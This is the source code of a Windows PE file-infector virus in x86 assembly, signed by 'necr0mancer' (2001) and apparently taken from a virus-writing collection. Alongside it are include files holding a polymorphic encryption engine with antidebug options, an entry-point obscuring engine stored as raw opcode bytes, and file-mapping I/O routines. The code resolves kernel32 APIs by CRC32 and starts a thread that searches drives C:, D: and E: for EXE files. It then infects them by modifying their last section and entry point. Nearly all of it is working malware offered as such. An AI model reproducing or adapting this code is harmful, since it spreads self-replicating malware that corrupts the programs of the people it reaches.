+ call @@GetDelta ;get delta +@@GetDelta: + pop ebp + +if DEBUG eq 1 + int 3 +endif + + + and eax,0ffh ;AL=# in function table + push eax + push ebp + + xor edi,edi + +nop_call: + call _start + pop ebp + + push edi + lea edi,[ebp+nop_call @cm] + mov eax,90909090h ;write nop for next call + stosd + stosb + pop edi + + pop eax ;eax=# in function table + shl eax,3 ;eax*8 + + or edi,edi ;first mng_call? + jnz table_offset_exist + + db (0b8h OR __edi) ;mov edi,xxxxxxxx + delta_tbl dd 0 + + jmp short get_me_out + +table_offset_exist: + + mov [ebp+delta_tbl @cm],edi ;save table_pointer + ;for next calls +get_me_out: + lea edi,[edi+eax] + + mov eax,[esp+8*4+4] ;restore old eax + mov [esp._eax],eax + mov [esp+8*4+4],edi ;write ret adr + + popa + popfd + ret + +;============================================================================== +;Virii part + +@ex equ <-offset Delta> + +_start: + call Delta ;get Delta +Delta: + +if DEBUG eq 1 + int 3 +endif + pop ebp + jmp short AfterData ;go to main part + +; === some data === + +imagebase dd 00400000h +OldRVA dd (offset Original-00400000h) +fmask db '*.exe',0 + +tbl: + + dd 77e80000h + dd 0Bff70000h + dd 0 + +jmp_table: + mov eax,offset Original + jmp eax + dq 9 dup (0) + +Mask_table: + + db 2 + dw 025FFh ;jmp xxxxxxx + db 0 + db 0 + db 0 + +;============================================================================= +Fsize dd ? +Voff dd ? +Foff dd ? +MZbase dd ? + +AfterData: + + db 0b8h ;mov eax,xxxxxxxx + reTT_need dd 1 ;flag of type infection + + or eax,eax + jnz no_need_heh + + mov eax,[ebp+OldRVA @ex] ;restore old entrypoint + add eax,[ebp+imagebase @ex] + push eax ;FOR returning in prog + +no_need_heh: + + lea esi,[ebp+jmp_table @ex] ;copy adr_table + lea edi,[ebp+jmp_tmp_table @ex] + mov ecx,10*2 + rep movsd + + lea eax,[ebp+offset @@@error_handle @ex];find kernel base + push eax + + xor eax,eax + push 4 ptr fs:[eax] ;set SEH + mov fs:[eax],esp + + lea esi,[ebp+offset tbl @ex] ;possible kernel bases + lea edi,[ebp+offset __kernel32 @ex] + + pusha + jmp _lodsd +_ex: + pop 4 ptr fs:[eax] ;restore SEH + pop eax ; + jmp no_yet ;& exit + +;============================================================================= + +@@@error_handle: + + mov esp,[esp+8] + sub esp,20h + +_lodsd: + popa + lodsd + or eax,eax ;end of table ? + je _ex + mov [edi],eax + pusha + + db 0b8h +__kernel32 dd 0 + + + cmp word ptr[eax],'ZM' ;test on MZ + jne _lodsd +__ok: + xchg eax,ebx + xor eax,eax + add esp,20h + pop 4 ptr fs:[eax] ;restore SEH + pop eax + +;============================================================================== + +sys_ok: + + lea esi,[ebp+offset _Table @ex] ;table of CRC32 + lea edi,[ebp+offset _adr @ex] ;table of needed + ;function's adresses +Ft_repeat: + + call get_proc_adr ;find adress + + or eax,eax ;no finded :( + jz end_Ft_cycle + stosd + + jmp Ft_repeat + +end_Ft_cycle: + + + out 70h,al ; + in al,71h ; + inc al ; + shl eax,8 ; + mov ecx,1000000 ; GET RANDOM NUMBER + loop $ ; + out 70h,al ; + in al,71h ; + not eax + ; save it + mov [ebp+__seed @ex],eax ; for virii + inc eax ; + mov [ebp+runSeed @ex],eax ; and for NPE + + + xor eax,eax ;files infected=0 + mov 4 ptr[ebp+FileNum @ex],eax + + mov [ebp+our_ebp @ex],ebp ;save current delta + ;for creating thread + + xor ebx,ebx ;ebx=0 + + lea eax,[ebp+offset Thr_indefirer @ex] + push eax + + push ebx ;push 0 + push ebx ;push 0 + + lea eax,[ebp+offset Thread_proc @ex] ;offset to thread proc + push eax + + push ebx ;push 0 + push ebx ;push 0 + call [ebp+CreateThread @ex] ;Create thread + +no_yet: + lea edi,[ebp+offset jmp_tmp_table @ex] ;get jmp_table pointer + ;to calls_manager + retn ;exit to parent code + +Thread_proc: + + db (0b8h or __ebp) ;mov ebp,xxxxxxxx + our_ebp dd 0 + + lea edi,[ebp+SearchRec @ex] + lea edx,[ebp+dirname @ex] + mov [edx],'\:C' + call filefind ;infect drives + + mov [edx],'\:D' + call filefind + + mov [edx],'\:E' + call filefind + + db 0b8h ;mov eax,xxxxxxxx +Thr_indefirer dd 0 + + push eax + call [ebp+ExitThread @ex] ;good bye! + +;========================================================================================= +;Input: esi=offset of string +; ebx=kernel adr +;Out : eax=adr(if has finded;)) + +get_proc_adr proc + + push edi + + push eax + lodsd + mov [ebp+crc32 @ex],eax ;save getted crc + pop eax + + mov ecx,[ebx+3ch] ;PE-header offset + add ecx,ebx + + mov ecx,[ecx+78h] ;Export table offset + jecxz return_0 ;if (et=null) then err + + add ecx,ebx ;ecx-offset of export + ;table + xor edi,edi +_search: + + mov edx,[ecx+20h] ;offsets on FuncNames + add edx,ebx ;correct on base + + mov edx,[edx+edi*4] + add edx,ebx + + push esi ;crc table + push ecx ;base + + mov esi,edx + push edx + +find_zero: + + lodsb + or al,al + jnz find_zero + dec esi + + sub esi,edx + xchg ecx,esi + + pop esi + call CRC32 + + db (0b8h or __edx) ;mov edx,crc + crc32 dd 0 + + pop ecx ;base + pop esi ;table + + cmp edx,eax + je _name_found + + inc edi + cmp edi,[ecx+18h] + jb _search + +return_0: + + xor eax,eax ;error ocures + jmp _return + +_name_found: + ;esi=index on string table + mov edx,[ecx+24h] + add edx,ebx + movzx edx,word ptr [edx+edi*2] + + mov eax,[ecx+1ch] ;AdrTable + add eax,ebx ;correct on base + + mov eax,[eax+edx*4] + add eax,ebx ;get adress of nedded function + +_return: + + pop edi ;in output eax + retn +get_proc_adr endp + + +;============================================================================= +; INFECT +;============================================================================= + +infect proc + pushad + + mov esi,edx ;esi=edx=full name + +_findzero: + lodsb + or al,al + jnz _findzero + ;esi=offset of null byte+1 + mov eax,[esi-4] + + cmp eax,00455845h ;EXE? + je exe_infect + + cmp eax,00657865h ;exe? + jne no_EXE + +exe_infect: + + cmp byte ptr [ebp+FileNum @ex],15 + ja no_EXE ;More than 15 files? + +_gogo: + call fopen ;edx=FileName + + or eax,eax ;error ocures? + je i_close_exit + + xchg ebx,eax ;ebx=handle + call f_createmap ;createfilemapping + + mov [ebp+MZbase @ex],eax + xchg eax,edx ;edx=mem_adr + + mov ax,word ptr[edx+18h] + cmp al,40h + jne i_close_exit + + mov eax,[edx+3ch] + add edx,eax ;EDX=offset of PE header + mov eax,[edx] + cmp ax,'EP' ;really PE ? + jne i_close_exit + + +;get last section + + movzx eax,word ptr[edx+14h] ;NT header size + add eax,18h ;Size of PE-header + add eax,edx ;Eax=offset of Object table + + push eax + push edx + + movzx eax,word ptr[edx+6h] ;Number of objects + + dec eax + smov esi,40 ;size of table + mul esi ;result in EDX:EAX + + xchg esi,eax ;ESI=offset of last object + + pop edx + pop eax + + mov edi,eax ;edi=Object-table + add esi,eax ;correct(esi=last object) + + push edi + +;============================================================================= + +;find winzip or UPX0 + + mov al,1 + movzx ecx,word ptr[edx+6h] ;Number of objects +find_upx: + + cmp 4 ptr[edi],'niw_' ;_winzip_ + je zip_upx + + cmp 4 ptr[edi],'0XPU' ;UPX0 + je zip_upx + + add edi,40 +loop find_upx + + xor eax,eax +zip_upx: +;============================================================================= + pop edi + or eax,eax + jnz i_close_exit + + mov eax,[edx+34h] ;get & save imagebase + mov [ebp+imagebase @ex],eax + + mov ecx,[esi+10h] ;get Fsize + mov [ebp+Fsize @ex],ecx + + mov eax,[esi+8h] ;get Vsize + or eax,eax ;Vsize=0? + jz i_close_exit + + or ecx,ecx ;Fsize=0? + jz i_close_exit + + cmp eax,ecx ;Vsize + +DirNum db ? +FileNum db ? +bytesread dd ? + + +first_run_npe dd ? +runSeed dd ? +dirname dd ? + +jmp_tmp_table: + dq 10 dup (?) +_endvbody: +end _emulation + +;============================================================================== +; (C) necr0mancer 2001 +; necr0mancer2001@hotmail.com +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[SOCIETY.TXT]ΔΔΔ +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[1.INC]ΔΔΔ +MAX_GARBAGE equ 6 +MAX_OPERATIONS equ 5 + +;cryptor size +; 100+(6*5*6*5)~1kb maximum +; +; + + +__eax equ 000b +__ebx equ 011b +__edx equ 010b +__ecx equ 001b +__esi equ 110b +__edi equ 111b +__ebp equ 101b + +smov macro p1,p2 +if p2 gt 07fh + + if p2 lt 100h + + if p1 eq eax + xor eax,eax + mov al,&p2& + endif + + if p1 eq ebx + xor ebx,ebx + mov bl,&p2& + endif + + if p1 eq ecx + xor ecx,ecx + mov cl,&p2& + endif + + if p1 eq edx + xor edx,edx + mov dl,&p2& + endif + else + + mov &p1&,&p2& + + endif + +else + push &p2& + pop &p1& +endif + +endm + +opcod struc + code dw 0 + flags db 0 + code_num db 0 +opcod ends +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[1.INC]ΔΔΔ +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[CALL_MNG.INC]ΔΔΔ +;============================================================================= +;Api_call stub (c) necr0mancer +;necr0mancer2001@hotmail.com +;============================================================================= +db 09Ch,060h,0E8h,000h,000h,000h,000h,05Dh,0CCh,025h,0FFh,000h,000h,000h,050h +db 055h,033h,0FFh,0E8h,031h,000h,000h,000h,05Dh,057h,08Dh,07Dh,00Bh,0B8h,090h +db 090h,090h,090h,0ABh,0AAh,05Fh,058h,0C1h,0E0h,003h,00Bh,0FFh,075h,007h,0BFh +db 000h,000h,000h,000h,0EBh,003h,089h,07Dh,026h,08Dh,03Ch,007h,08Bh,044h,024h +db 024h,089h,044h,024h,01Ch,089h,07Ch,024h,024h,061h,09Dh,0C3h +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[CALL_MNG.INC]ΔΔΔ +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[NPE32BIN.INC]ΔΔΔ +;============================================================================== +; Necromancer's Polymorphic Engine +; v 1.0 +; (c) necr0mancer december 2001 +; +; +;stdcall +;int NPE_main( +; DWORD *offset data //offset to data +; DWORD *offset bufer //offset of bufer(see ramarks) +; DWORD count_bytes //size of crypting data +; DWORD seed //(see remarks) +; DWORD flags //(see remarks) +; ); +; +;Output: EAX = Size of crypted data and decryptor. +; cf = 1 if error +; cf = 0 if success +; +;Remarks: +; Engine must run in r/w section. +; +; *bufer : Size of bufer must be larger of really size data beakose NPE use +; bufer for building cryptor/decryptor. +; In real size of bufer must be about 400h*3+size of data+1 +; But I test it with many-memory allocate & can't said +; about working npe32 with little bufer. +; +; Flags: +; +; bits: +; ΪΔΔΔΔΔΔΔΔΔΒΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ +; ³ 0..6 ³ Using regs32 ³ +; ΓΔΔΔΔΔΔΔΔΔΕΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ΄ +; ³ 7 ³ Antidebug functions enabled ³ +; ΓΔΔΔΔΔΔΔΔΔΕΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ΄ +; ³ 8..11 ³ number of commands in using commands ³ +; ΓΔΔΔΔΔΔΔΔΔΕΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ΄ +; ³ 11..16 ³ number of commands in using garbage ³ +; ΐΔΔΔΔΔΔΔΔΔΑΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ +; +; Regs32 (bits 0..6): +; ΪΔΔΔΔΔΒΔΔΔΒΔΔΔΒΔΔΔΒΔΔΔΒΔΔΔΒΔΔΔΒΔΔΔΏ +; ³ bit ³ 0 ³ 1 ³ 2 ³ 3 ³ 4 ³ 5 ³ 6 ³ +; ΓΔΔΔΔΔΕΔΔΔΕΔΔΔΕΔΔΔΕΔΔΔΕΔΔΔΕΔΔΔΕΔΔΔ΄ +; ³ reg ³EAX³EBX³EDX³ECX³ESI³EDI³EBP³ +; ΐΔΔΔΔΔΑΔΔΔΑΔΔΔΑΔΔΔΑΔΔΔΑΔΔΔΑΔΔΔΑΔΔΔΩ +; +; Seed: +; if this parametr is not NULL then randseed generator of NPE32 +; gets a new value for inicialize.If it is NULL NPE32 use getted +; value for any random operations. +; +;And one 'little' thing : npe32 has a bug working in multi-layer mode, +;which destroyes original data.If size of encryptors+data more than +;D00h bytes it happends. +; +;necr0mancer2001@hotmail.com +npe_main: +db 060h,0E8h,000h,000h,000h,000h,05Dh,0EBh,077h,081h,0C0h,0A1h,001h,081h,0E8h +db 0A1h,000h,081h,0F0h,0A1h,002h,0F7h,0D0h,085h,003h,0D1h,0C0h,085h,005h,0D1h +db 0C8h,085h,004h,040h,000h,045h,007h,048h,000h,045h,006h,0F7h,0D8h,085h,008h +db 087h,0C0h,082h,000h,08Bh,0C0h,082h,000h,083h,0C0h,0C9h,000h,083h,0E8h,0C9h +db 000h,090h,090h,040h,000h,0EBh,000h,080h,000h,083h,0C8h,0CDh,000h,083h,0F0h +db 0CDh,000h,00Bh,0C0h,082h,000h,023h,0C0h,082h,000h,000h,003h,002h,001h,006h +db 007h,005h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h +db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h +db 000h,000h,000h,000h,000h,061h,0F9h,0C3h,08Bh,04Ch,024h,030h,0E3h,006h,089h +db 08Dh,0D0h,004h,000h,000h,08Bh,054h,024h,034h,052h,083h,0E2h,07Fh,08Dh,07Dh +db 070h,08Dh,075h,04Fh,033h,0C0h,040h,06Ah,007h,059h,033h,0DBh,052h,023h,0D0h +db 074h,002h,043h,0A4h,0D1h,0E0h,05Ah,0E2h,0F4h,00Bh,0DBh,074h,0CBh,083h,0FBh +db 003h,072h,0C6h,089h,09Dh,0BBh,003h,000h,000h,058h,08Bh,0D0h,066h,081h,0E2h +db 0FFh,000h,066h,025h,000h,0FFh,0C1h,0E8h,008h,08Bh,0C8h,025h,0F0h,000h,000h +db 000h,0C1h,0E8h,004h,083h,0F8h,009h,076h,003h,06Ah,009h,058h,00Bh,0C0h,074h +db 09Bh,089h,085h,0C2h,001h,000h,000h,083h,0E1h,00Fh,083h,0F9h,00Ah,076h,003h +db 06Ah,00Ah,059h,00Bh,0C9h,074h,086h,089h,08Dh,0D1h,003h,000h,000h,08Bh,04Ch +db 024h,02Ch,089h,08Dh,0F5h,002h,000h,000h,08Bh,07Ch,024h,028h,08Bh,074h,024h +db 024h,057h,053h,051h,081h,0C7h,000h,00Ch,000h,000h,057h,0B8h,090h,000h,000h +db 000h,003h,0C8h,0F3h,0AAh,05Fh,059h,08Bh,0DFh,00Fh,0BAh,0E2h,007h,073h,017h +db 051h,056h,08Dh,0B5h,007h,005h,000h,000h,0B9h,019h,000h,000h,000h,001h,08Dh +db 0F5h,002h,000h,000h,0F3h,0A4h,05Eh,059h,0F3h,0A4h,08Dh,08Dh,0CDh,004h,000h +db 000h,058h,08Bh,0F0h,0FFh,0D1h,08Ah,054h,005h,070h,08Bh,0C6h,0FFh,0D1h,08Ah +db 074h,005h,070h,03Ah,0F2h,074h,0F4h,088h,075h,057h,056h,04Eh,04Eh,08Bh,0C6h +db 0FFh,0D1h,040h,066h,089h,085h,0FEh,002h,000h,000h,091h,058h,08Dh,075h,070h +db 08Dh,07Dh,064h,0E8h,00Eh,003h,000h,000h,05Fh,057h,033h,0C0h,0E8h,0E1h,000h +db 000h,000h,050h,0DBh,01Ch,024h,058h,06Ah,005h,058h,0E8h,03Eh,003h,000h,000h +db 040h,091h,08Bh,044h,024h,004h,005h,000h,00Ch,000h,000h,089h,045h,05Ch,051h +db 057h,00Fh,0B7h,085h,0FEh,002h,000h,000h,08Bh,0C8h,048h,08Dh,075h,064h,08Dh +db 07Eh,006h,08Bh,0DFh,0E8h,0D1h,002h,000h,000h,05Fh,087h,0F3h,0ACh,08Ah,0F0h +db 056h,033h,0C0h,0B0h,0FFh,0BBh,000h,000h,000h,000h,08Dh,075h,003h,0E8h,013h +db 002h,000h,000h,08Dh,075h,05Ch,087h,026h,08Ah,0E6h,050h,08Bh,045h,060h,050h +db 087h,026h,05Eh,0E2h,0DAh,059h,0E2h,0BBh,033h,0C0h,0E8h,047h,001h,000h,000h +db 05Eh,060h,0FFh,0D6h,061h,05Fh,057h,08Bh,0DFh,081h,0C3h,000h,00Ch,000h,000h +db 056h,053h,0B0h,001h,0E8h,062h,000h,000h,000h,0E8h,0A7h,001h,000h,000h,08Dh +db 075h,05Ch,087h,026h,058h,089h,045h,060h,058h,08Bh,0DCh,087h,026h,08Bh,00Ch +db 024h,03Bh,0D9h,077h,00Eh,08Ah,0F4h,0B4h,000h,08Dh,075h,003h,0E8h,0BAh,001h +db 000h,000h,0EBh,0D8h,0B0h,001h,0E8h,000h,001h,000h,000h,08Bh,0DFh,05Eh,00Fh +db 0B7h,085h,0FEh,002h,000h,000h,0B9h,000h,000h,000h,000h,066h,0F7h,0E1h,091h +db 0F3h,0A5h,058h,02Bh,0F8h,089h,07Ch,024h,01Ch,0BFh,000h,000h,000h,000h,08Bh +db 045h,058h,050h,0DBh,01Ch,024h,059h,02Bh,0D9h,003h,0C3h,0ABh,0F8h,061h,0C2h +db 014h,000h,08Bh,0F7h,0FEh,0C8h,075h,008h,08Dh,08Dh,0ADh,003h,000h,000h,0EBh +db 006h,08Dh,08Dh,0E0h,003h,000h,000h,033h,0C0h,048h,0E8h,04Eh,002h,000h,000h +db 089h,045h,058h,0FFh,0D1h,057h,0DBh,004h,024h,058h,0B0h,0E8h,0AAh,033h,0C0h +db 0ABh,0FFh,0D1h,052h,08Bh,085h,0BBh,003h,000h,000h,0E8h,030h,002h,000h,000h +db 08Ah,074h,005h,070h,080h,0FEh,000h,074h,0ECh,0B0h,058h,00Ah,0C6h,0AAh,0FFh +db 0D1h,066h,0B8h,081h,0E8h,00Ah,0E6h,066h,0ABh,08Bh,045h,058h,083h,0C0h,005h +db 0ABh,0FFh,0D1h,051h,066h,0B8h,08Dh,080h,00Ah,0E6h,08Ah,075h,057h,08Ah,0D6h +db 0C0h,0E6h,003h,00Ah,0E6h,066h,0ABh,08Bh,045h,058h,02Bh,0DEh,003h,0C3h,089h +db 0BDh,04Dh,002h,000h,000h,0ABh,059h,0FFh,0D1h,066h,0B8h,087h,0E0h,00Ah,0E2h +db 066h,0ABh,05Ah,0FFh,0D1h,0B0h,0B8h,00Ah,0C2h,0AAh,052h,051h,0B8h,000h,000h +db 000h,000h,099h,033h,0C9h,066h,0B9h,000h,000h,0C1h,0E1h,002h,066h,0F7h,0F1h +db 040h,089h,085h,03Bh,002h,000h,000h,0ABh,059h,0FFh,0D1h,08Bh,0C7h,040h,089h +db 085h,07Bh,003h,000h,000h,087h,0CAh,00Fh,0B6h,08Dh,0FEh,002h,000h,000h,08Dh +db 075h,064h,0ACh,00Ch,058h,0AAh,0FFh,0D2h,0E2h,0F8h,05Ah,0C3h,053h,050h,0FEh +db 0C8h,075h,008h,08Dh,09Dh,0ADh,003h,000h,000h,0EBh,006h,08Dh,09Dh,0E0h,003h +db 000h,000h,0FFh,0D3h,00Fh,0B6h,08Dh,0FEh,002h,000h,000h,051h,08Dh,075h,064h +db 003h,0F1h,04Eh,0FDh,0ACh,0FCh,00Ch,050h,0AAh,0FFh,0D3h,0E2h,0F6h,066h,0B8h +db 081h,0C4h,066h,0ABh,058h,0C1h,0E0h,002h,0ABh,0FFh,0D3h,066h,0B8h,048h,074h +db 00Ah,0C2h,066h,0ABh,057h,0AAh,0FFh,0D3h,0B0h,0E9h,0AAh,0BEh,000h,000h,000h +db 000h,08Bh,0C7h,083h,0C0h,005h,02Bh,0C6h,0F7h,0D8h,0ABh,0FFh,0D3h,087h,0FEh +db 05Fh,08Bh,0C6h,02Bh,0C7h,048h,0AAh,087h,0FEh,0FFh,0D3h,066h,0B8h,087h,0E0h +db 00Ah,065h,057h,066h,0ABh,0FFh,0D3h,058h,0FEh,0C8h,074h,003h,0B0h,0C3h,0AAh +db 05Bh,0C3h,060h,0B8h,006h,000h,000h,000h,0E8h,015h,001h,000h,000h,040h,091h +db 0B8h,000h,000h,000h,000h,0E8h,009h,001h,000h,000h,08Ah,074h,005h,070h,0B8h +db 0FFh,000h,000h,000h,08Dh,075h,027h,0BBh,000h,000h,000h,000h,0E8h,007h,000h +db 000h,000h,0E2h,0DEh,089h,03Ch,024h,061h,0C3h,060h,03Ch,0FFh,074h,016h,0C6h +db 045h,056h,001h,08Dh,004h,086h,00Fh,0B6h,058h,003h,08Dh,004h,09Eh,08Ah,050h +db 002h,066h,08Bh,000h,0EBh,017h,0C6h,045h,056h,000h,093h,0E8h,0C7h,000h,000h +db 000h,089h,044h,024h,01Ch,08Dh,004h,086h,08Ah,050h,002h,066h,08Bh,000h,08Ah +db 0EAh,080h,0FEh,000h,075h,006h,00Fh,0BAh,0E2h,002h,073h,062h,080h,0E2h,003h +db 00Ah,0D2h,074h,013h,0FEh,0CAh,074h,007h,08Ah,0D6h,0C0h,0E2h,003h,00Ah,0E2h +db 00Ah,0E4h,075h,002h,00Ah,0C6h,00Ah,0E6h,08Ah,0D5h,080h,0E2h,0C0h,0C0h,0EAh +db 006h,0FEh,0CAh,075h,003h,0AAh,0EBh,002h,066h,0ABh,08Ah,0D5h,080h,0E2h,038h +db 0C0h,0EAh,003h,0FEh,04Dh,056h,074h,00Dh,033h,0C0h,048h,0E8h,06Dh,000h,000h +db 000h,089h,045h,060h,0EBh,003h,08Bh,045h,060h,080h,0FAh,004h,074h,00Bh,080h +db 0FAh,002h,074h,009h,0FEh,0CAh,074h,009h,0EBh,00Ah,0ABh,0EBh,007h,066h,0ABh +db 0EBh,003h,033h,0C0h,0AAh,089h,03Ch,024h,061h,0C3h,060h,049h,074h,02Bh,050h +db 058h,050h,0E8h,03Ah,000h,000h,000h,08Ah,004h,006h,03Ah,0C2h,074h,0F2h,03Ah +db 045h,057h,074h,0EDh,0AAh,086h,0E0h,05Bh,0ACh,03Ah,0C2h,074h,0FBh,03Ah,045h +db 057h,074h,0F6h,03Ah,0C4h,074h,0F2h,0AAh,0E2h,0EFh,061h,0C3h,093h,08Bh,0C3h +db 0E8h,00Fh,000h,000h,000h,08Ah,004h,006h,03Ah,0C2h,074h,0F2h,03Ah,045h,057h +db 074h,0EDh,0AAh,061h,0C3h,060h,050h,0B8h,078h,056h,034h,012h,0BFh,005h,084h +db 008h,008h,0F7h,0E7h,040h,089h,085h,0D0h,004h,000h,000h,033h,0D2h,059h,00Bh +db 0C9h,074h,006h,0F7h,0F1h,089h,054h,024h,01Ch,061h,0C3h,04Eh,050h,045h,033h +db 032h,05Bh,031h,033h,031h,038h,05Dh,06Eh,065h,063h,072h,030h,06Dh,061h,06Eh +db 063h,065h,072h,057h,00Fh,001h,04Ch,024h,0FEh,05Fh,089h,047h,008h,089h,047h +db 018h,00Fh,023h,0C0h,00Fh,023h,0C8h,00Fh,023h,0D0h,00Fh,023h,0D8h +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[NPE32BIN.INC]ΔΔΔ +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[RING3IO.INC]ΔΔΔ +;Include file ring-3 InputOutput functions +;(c) necr0mancer +; +; necr0mancer2001@hotmail.com + +;------------------------------- +;Input:edx=offset of filename + +fopen proc + + pushad + + xor ebx,ebx + + push ebx + push FILE_ATTRIBUTE_NORMAL + push OPEN_EXISTING + push ebx + push FILE_SHARE_READ + FILE_SHARE_WRITE + push GENERIC_READ + GENERIC_WRITE + push edx + call [ebp+CreateFile @ex] + + inc eax ;eax=-1? + jz fopen_exit + dec eax + +fopen_exit: + + mov [esp._eax], eax + popad + retn +fopen endp + + +;------------------------------- +;Input:ebx=handle + +fclose proc + + pushad + + push ebx + call [ebp+CloseHandle @ex] + + popad + retn +fclose endp + + +;------------------------------- +;Input:ebx=handle file +; ecx=count of bytes to read +; edx=offset of bufer +fread proc + + pushad + + push 0 + + lea eax,[ebp+offset bytesread @ex] + push eax + + push ecx + push edx + push ebx + call [ebp+ReadFile @ex] + + popad + retn +fread endp + +;------------------------------- +;Input:ebx=handle file +; ecx=count of bytes to move +fseek proc + + pushad + + push FILE_BEGIN + push 0 + push ecx + push ebx + call [ebp+SetFilePointer @ex] + + popad + retn +fseek endp + + + +;------------------------------- +;Input:ebx=handle file +; ecx=count of bytes to write +; edi=offset of bufer + +fwrite proc + + pushad + + push 0 + + lea eax,[ebp+offset bytesread @ex] + push eax + + push ecx + push edi + + push ebx + call [ebp+WriteFile @ex] + + popad + retn +fwrite endp + + +f_createmap proc + pusha + + xor eax,eax + push eax ;for mapvievoffile + + push eax ;name + push eax ;lowsize + push eax ;highsize + push PAGE_READWRITE + push eax + push ebx + call [ebp+CreateFileMappingA @ex] + + xchg ebx,eax + + pop eax ;null + push eax ;count bytes + push eax ;lowsize + push eax ;highsize + push FILE_MAP_WRITE + push ebx + call [ebp+MapViewOfFile @ex] + + mov [esp+_eax],eax + popa + retn +f_createmap endp + + +f_closemap proc + pusha + push ebx + call [ebp+UnmapViewOfFile @ex] + popa + retn +f_closemap endp +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[RING3IO.INC]ΔΔΔ +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[RIPBIN.INC]ΔΔΔ +;It "engine" I have written for fun;) +;----------------------------------------------------------------------------- +;Create_UEP( +; dword VO // virtual offset +; *dword code // offset to .code section(already has read) +; *dword reloc // offset to .reloc section(already has read) +; dword num_records // count of records in table to rewrite +; *dword adr_modify // address of "replasing" proc +; *dword mask_table // pointer to a mask table +; ); +;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +Create_UEP: +db 060h,08Bh,074h,024h,02Ch,08Bh,07Ch,024h,028h,081h,0EFh,000h,010h,000h,000h +db 003h,03Eh,08Bh,046h,004h,0BAh,008h,000h,000h,000h,052h,02Bh,0C2h,099h,0B9h +db 002h,000h,000h,000h,066h,0F7h,0F1h,05Ah,091h,00Fh,0B7h,004h,016h,066h,025h +db 0FFh,00Fh,003h,0C7h,056h,051h,093h,08Bh,074h,024h,040h,033h,0C0h,0ACh,00Fh +db 0B6h,0C8h,066h,0ADh,00Bh,0C0h,074h,012h,049h,074h,008h,066h,039h,043h,0FEh +db 074h,026h,0EBh,005h,038h,043h,0FEh,074h,01Fh,0EBh,0E4h,059h,05Eh,083h,0C2h +db 002h,0E2h,0CAh,08Bh,046h,004h,003h,0F0h,099h,033h,0D2h,0BBh,000h,010h,000h +db 000h,0F7h,0F3h,00Bh,0D2h,074h,095h,0F9h,0EBh,02Dh,093h,059h,05Eh,051h,057h +db 0F8h,08Dh,05Ch,024h,038h,0FFh,00Bh,08Bh,00Bh,0E3h,01Bh,048h,048h,08Bh,0D8h +db 02Bh,0C7h,003h,006h,087h,0DFh,093h,056h,08Bh,074h,024h,030h,08Bh,044h,024h +db 040h,0FFh,0D0h,05Eh,05Fh,059h,0EBh,0BAh,05Fh,059h,061h,0C2h,018h,000h +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[RIPBIN.INC]ΔΔΔ 